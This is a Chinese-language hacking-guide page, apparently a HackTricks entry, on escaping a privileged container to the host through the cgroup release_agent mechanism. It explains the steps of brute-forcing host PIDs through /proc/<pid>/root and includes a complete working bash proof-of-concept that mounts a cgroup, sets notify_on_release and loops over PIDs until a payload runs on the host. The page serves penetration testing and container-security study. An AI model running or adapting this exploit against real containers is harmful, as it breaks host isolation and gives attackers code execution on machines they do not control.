84 lines
3.7 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

{{#include ../../../../banners/hacktricks-training.md}}
有关更多详细信息,请**查看来自 [https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html)** 的博客文章。这只是一个摘要:
该技术概述了一种**从容器内执行主机代码**的方法,克服了存储驱动程序配置带来的挑战,这些配置会模糊主机上的容器文件系统路径,例如 Kata Containers 或特定的 `devicemapper` 设置。
关键步骤:
1. **定位进程 ID (PIDs)** 使用 Linux 伪文件系统中的 `/proc/<pid>/root` 符号链接,可以相对于主机的文件系统访问容器内的任何文件。这绕过了需要知道主机上容器文件系统路径的要求。
2. **PID 碰撞:** 采用暴力破解的方法搜索主机上的 PIDs。这是通过依次检查 `/proc/<pid>/root/<file>` 中特定文件的存在来完成的。当找到该文件时,表明相应的 PID 属于在目标容器内运行的进程。
3. **触发执行:** 猜测的 PID 路径被写入 `cgroups release_agent` 文件。此操作触发 `release_agent` 的执行。通过检查输出文件的创建来确认此步骤的成功。
### 利用过程
利用过程涉及一系列更详细的操作,旨在通过猜测在容器内运行的进程的正确 PID 来在主机上执行有效载荷。以下是其展开方式:
1. **初始化环境:** 在主机上准备一个有效载荷脚本 (`payload.sh`),并为 cgroup 操作创建一个唯一的目录。
2. **准备有效载荷:** 编写并使有效载荷脚本可执行,该脚本包含要在主机上执行的命令。
3. **设置 Cgroup** 挂载并配置 cgroup。设置 `notify_on_release` 标志,以确保在释放 cgroup 时执行有效载荷。
4. **暴力破解 PID** 循环遍历潜在的 PIDs将每个猜测的 PID 写入 `release_agent` 文件。这有效地将有效载荷脚本设置为 `release_agent`
5. **触发并检查执行:** 对于每个 PID写入 cgroup 的 `cgroup.procs`,如果 PID 正确,则触发 `release_agent` 的执行。循环继续,直到找到有效载荷脚本的输出,表明执行成功。
来自博客文章的 PoC
```bash
#!/bin/sh
OUTPUT_DIR="/"
MAX_PID=65535
CGROUP_NAME="xyx"
CGROUP_MOUNT="/tmp/cgrp"
PAYLOAD_NAME="${CGROUP_NAME}_payload.sh"
PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}"
OUTPUT_NAME="${CGROUP_NAME}_payload.out"
OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}"
# Run a process for which we can search for (not needed in reality, but nice to have)
sleep 10000 &
# Prepare the payload script to execute on the host
cat > ${PAYLOAD_PATH} << __EOF__
#!/bin/sh
OUTPATH=\$(dirname \$0)/${OUTPUT_NAME}
# Commands to run on the host<
ps -eaf > \${OUTPATH} 2>&1
__EOF__
# Make the payload script executable
chmod a+x ${PAYLOAD_PATH}
# Set up the cgroup mount using the memory resource cgroup controller
mkdir ${CGROUP_MOUNT}
mount -t cgroup -o memory cgroup ${CGROUP_MOUNT}
mkdir ${CGROUP_MOUNT}/${CGROUP_NAME}
echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release
# Brute force the host pid until the output path is created, or we run out of guesses
TPID=1
while [ ! -f ${OUTPUT_PATH} ]
do
if [ $((${TPID} % 100)) -eq 0 ]
then
echo "Checking pid ${TPID}"
if [ ${TPID} -gt ${MAX_PID} ]
then
echo "Exiting at ${MAX_PID} :-("
exit 1
fi
fi
# Set the release_agent path to the guessed pid
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
# Trigger execution of the release_agent
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
TPID=$((${TPID} + 1))
done
# Wait for and cat the output
sleep 1
echo "Done! Output:"
cat ${OUTPUT_PATH}
```
{{#include ../../../../banners/hacktricks-training.md}}